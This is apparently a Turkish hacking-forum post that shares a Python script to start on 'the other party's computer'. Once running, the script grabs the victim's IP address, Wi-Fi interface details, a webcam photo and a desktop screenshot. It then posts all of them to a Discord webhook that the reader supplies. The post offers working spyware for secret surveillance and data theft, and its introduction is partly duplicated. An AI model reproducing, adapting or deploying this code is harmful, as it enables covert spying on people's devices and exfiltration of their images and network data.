- 14 Kas 2023
- 65
- 38
MERHABA THT AİLESİ BUGÜN SİZLERE KARŞI TARAFIN BİLGİSAYARINDA BAŞLATTIĞI AN
ALTTAKİ FOTODA OLAN BİLGİLERİ ÇEKEN BİR PYTHON KODU VERECEĞİM UMARIM BEĞENİRSİNİZ
BİLGİSAYARIN EKRAN GÖRÜNTÜSÜNDEN SORAKİ FOTODA WEBCAM FOTOSU
(PC MASAÜSTÜM GÖRÜNMESİN BİRAZ BOYADIM KUSURA BAKMAYIN)
İŞTE KOD:
ALTTAKİ FOTODA OLAN BİLGİLERİ ÇEKEN BİR PYTHON KODU VERECEĞİM UMARIM BEĞENİRSİNİZ
BİLGİSAYARIN EKRAN GÖRÜNTÜSÜNDEN SORAKİ FOTODA WEBCAM FOTOSU
(PC MASAÜSTÜM GÖRÜNMESİN BİRAZ BOYADIM KUSURA BAKMAYIN)
İŞTE KOD:
Python:
import socket
import os
import requests
import pyautogui
from PIL import ImageGrab
from io import BytesIO
import cv2
hostname = socket.gethostname()
ip_address = socket.gethostbyname(hostname)
network_name = os.popen("netsh wlan show interfaces").read()
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
if ret:
_, img_encoded = cv2.imencode(".png", frame)
webcam_bytes = img_encoded.tobytes()
else:
webcam_bytes = None
screenshot = ImageGrab.grab()
buffered = BytesIO()
screenshot.save(buffered, format="PNG")
screenshot_bytes = buffered.getvalue()
webhook_url = 'BURAYA_DİSCORD_WEBHOOK_BOTUN_URL_YAZ'
data = {
"content": f"IP Adresi: {ip_address}\nAğ Adı: {network_name}"
}
files = {
"screenshot.png": screenshot_bytes,
"webcam.png": webcam_bytes if webcam_bytes else b""
}
response = requests.post(webhook_url, data=data, files=files)
if response.status_code == 204:
print("İstek başarıyla gönderildi.")
else:
print("İstek gönderilirken bir hata oluştu.")
cap.release()